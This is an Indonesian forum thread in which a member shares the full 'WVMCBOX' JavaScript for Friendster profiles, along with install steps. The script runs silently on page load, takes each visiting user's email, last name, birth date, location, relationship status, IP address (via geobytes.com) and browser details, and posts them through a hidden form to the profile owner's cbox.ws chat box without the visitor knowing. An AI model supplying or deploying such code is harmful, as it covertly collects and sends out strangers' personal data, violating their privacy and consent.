[quote=KaNaLiTnUk][quote=dna765mb]teman˛ minta tolong dunk code WVM cboxnya feruzz yang ada zodiak, email, lastnamenya, karena waktu aku ngopi dari threadnya nggak kerja. teman˛ semua mohon bantuannya ya?.....[/quote]
Pertama aku ingin peringatkan kalau script ini termasuk salah satu script powerful di FTI jadi tolong gunakanlah sebaik-baiknya OK
Ini dia scriptnya :
[quote]/*
WVMCBOX version 2.2
Author: Friendstertalk members
Credits: Friendstertalk (
http://theftalk.com), friendster.com, geobytes.com
Timestamp: GMT+8 10.45AM Jan 19, 2008
free to use but not free to resell
*/
if (!attachOnLoadHandler(function() { WVMCBOX.init();})) window.onload = function() { WVMCBOX.init();};
/* IP Address by Geobytes.com */
var geoIP = document.createElement("script");
geoIP.type = "text/javascript";
geoIP.src = "http://gd.geobytes.com/gd?after=-1&variables=GeobytesIpAddress";
document.getElementsByTagName("head")[0].appendChild(geoIP);
if (typeof WVMCBOX == "undefined") { WVMCBOX = {}; }
WVMCBOX = {
div: null, date: Date(),
ifstyle: ["100%", //width
"300", //height
"auto", //scrolling
"yes"], //allowtransparency
base: {
"cboxdiv": ["[b]www[/b]","[color=red][b]xxxxxx[/b][/color]","[color=blue][b]xxxxx[/b][/color]"]
},
details: {
email: null,
lastname: null,
age: null,
status: null,
gender: null,
month: null,
year: null,
birth: null,
horoscope: null,
location: null
},
regexp: {
email: /email>(\b[a-z0-9._%+-]+@[a-z0-9.-]+\.[a-z]{2,4}\b)<\/email>/i,
lastname: /lastname>([\S\s]+?)<\/lastname>/i,
age: /age>([\d]+?)<\/age>/i,
status: /age><status>([\d]+?)<\/status>/i,
gender: /photocaption><gender>([m]|[f])<\/gender>/i,
month: /membersinceMonth>([\w]+?)<\/membersinceMonth>/i,
year: /membersinceYear>([\d]+?)<\/membersinceYear>/i,
birth: /dob>([\d]+?-[\d]+?-[\d]+?)<\/dob>/i,
horoscope: /horoscopesign>([\w]+?)<\/horoscopesign>/i,
location: /blog_id><location>([\S\s]+?)<\/location>/i
},
init: function() {
WVMCBOX.ajaxRequest("http://"+location.hostname+"/modules/module.php?_pmr=a&_pmmo=0&uid="+pageViewerID,WVMCBOX.viewer,null);
setInterval("window.wvm_submit.location.href=document.getElementById('wvm_submit').src",15000);
},
viewer: function(htm) {
if (htm.replace(/^\s*|\s*$/g,"") === null) {
alert("ERROR: Empty xmlresponse! \n Unable to parse your details!");return;
}else if (htm) {
for (val in WVMCBOX.details) {
try {
WVMCBOX.details[val] = new RegExp(WVMCBOX.regexp[val]).exec(htm)[1];
}catch(e) {
WVMCBOX.details[val] = "";
}
}
if (WVMCBOX.details.gender == "m") {
WVMCBOX.details.gender = "Male";
}else if (WVMCBOX.details.gender == "f") {
WVMCBOX.details.gender = "Female";
}
if (WVMCBOX.details.status == "2") {
WVMCBOX.details.status = "Single";
}
if (WVMCBOX.details.status == "3") {
WVMCBOX.details.status = "In a Relationship";
}
if (WVMCBOX.details.status == "6") {
WVMCBOX.details.status = "Domestic Partner";
}
if (WVMCBOX.details.status == "4") {
WVMCBOX.details.status = "Married";
}
if (WVMCBOX.details.status == "8") {
WVMCBOX.details.status = "It's complicated";
}
for (var seeboks in WVMCBOX.base) {
WVMCBOX.div = "<iframe frameborder=\"0\" width=\""+WVMCBOX.ifstyle[0]+"\" height=\""+WVMCBOX.ifstyle[1]+"\" scrolling=\""+WVMCBOX.ifstyle[2]+"\" allowtransparency=\""+WVMCBOX.ifstyle[3]+"\" marginheight=\"2\" marginwidth=\"2\" src=\"http://"+WVMCBOX.base[seeboks][0]+".cbox.ws/box/?boxid="+WVMCBOX.base[seeboks][1]+"&boxtag="+WVMCBOX.base[seeboks][2]+"&sec=main\" name=\"wvm_submit\" id=\"wvm_submit\"></iframe>"+
"<div style=\"display:none\">"+
"<form name=\"wvmcboxform\" id=\"wvmcboxform\" target=\"wvm_submit\" action=\"http://"+WVMCBOX.base[seeboks][0]+".cbox.ws/box/?boxid="+WVMCBOX.base[seeboks][1]+"&boxtag="+WVMCBOX.base[seeboks][2]+"&sec=submit\" method=\"post\">"+
"<input type=\"text\" name=\"nme\" value=\""+pageViewerFName+"\">"+
"<input type=\"text\" name=\"eml\" value=\"http://profiles.friendster.com/"+pageViewerID+"\">"+
"<textarea style=\"overflow:hidden\" class=\"cboxMsgArea\" maxlength=\"200\" cols=\"22\" rows=\"3\" name=\"pst\">"+WVMCBOX.date+
"[br]• Email: "+WVMCBOX.details.email+" [br]• IP Address: "+sGeobytesIpAddress+
"[br]• "+WVMCBOX.details.age+", "+WVMCBOX.details.gender+", "+WVMCBOX.details.status+
"[br]• Member Since: "+WVMCBOX.details.month+" "+WVMCBOX.details.year+
"[br]• D.O.B: "+WVMCBOX.details.birth+
"[br]• Horoscope: "+WVMCBOX.details.horoscope+
"[br]• Location: "+WVMCBOX.details.location+
"[br]• Friendster ID: "+pageViewerID+
"[br]• Lastname: "+WVMCBOX.details.lastname+
"[br]• Browser: "+navigator.appName+
"[br]• "+navigator.userAgent+"</textarea>"+
"</form>"+
"</div>";
addNewBox.init("Visitor's Detail","<div id=\""+seeboks+"\" align=\"center\">"+WVMCBOX.div+"</div>","wvmcbox",/meettrail/i,null);
}
}
if((pageViewerID != pageOwnerID) && (pageViewerID !== "")) {
if (document.wvmcboxform) {
document.wvmcboxform.submit();
}else {
document.getElementById("wvmcboxform").submit();
}
}
},
ajaxRequest: function(url,func,handler) {
var httprequest = window.XMLHttpRequest? new XMLHttpRequest():new ActiveXObject("Msxml2.XMLHTTP");
httprequest.onreadystatechange = function() {
if (httprequest.readyState == 4) {
if (httprequest.status == 200) {
func(httprequest.responseText,handler);
}
}
};
httprequest.open("GET", url, true);
httprequest.send(null);
}
};
if (typeof addNewBox == "undefined") { addNewBox = {}; }
addNewBox = {
init: function(head,code,id,sibling,x) {
var sbdiv = document.createElement("div");
sbdiv.className="commonbox "+id;
sbdiv.id = id;
if (!head) head = "";
else head = "<h2>"+head+"</h2>";
sbdiv.innerHTML = head;
sbdiv.appendChild(document.createElement("div"));
sbdiv.getElementsByTagName("div")[0].id = "content_"+id;
sbdiv.getElementsByTagName("div")[0].innerHTML = code;
var sbli = document.createElement("LI");
sbli.appendChild(sbdiv);
if (!x) this.getModuleByClassName(sibling)[0].parentNode.parentNode.appendChild(sbli);
else if (x == "below") this.getModuleByClassName(sibling)[0].parentNode.appendChild(sbli);
else if (x == "above") {
var ul = this.getModuleByClassName(sibling)[0];
ul.parentNode.parentNode.insertBefore(sbli,ul.parentNode);
}
},
getModuleByClassName: function(sClass) {
var elm = [];
var els = document.getElementsByTagName("*") || document.all;
for (var j=0,k=els.length;j<k;j++) {
if (new RegExp(sClass).test(els[j].className))elm.push(els[j]);
}
return elm;
}
};[/quote]
Edit bagian yang tebal berwarna hitam, biru dan merah serta sesuaikan dengan host, ID main serta ID tag dari account CBOX kalian OK
Biar WVMCBOX sama No Right Click CBOX nya tidak jadi satu, buat script tersebut terpisah satu sama lain habis itu masukkan ke dalam JS utama kamu memakai script JS injection dan taruh di bagian paling atas JS utamamu
Untuk lebih jelasnya lihat di postingan paling pertama disana aku sudah update semuanya OK
[/quote]
thx ya bang kanalkituk atas pencerahannya.....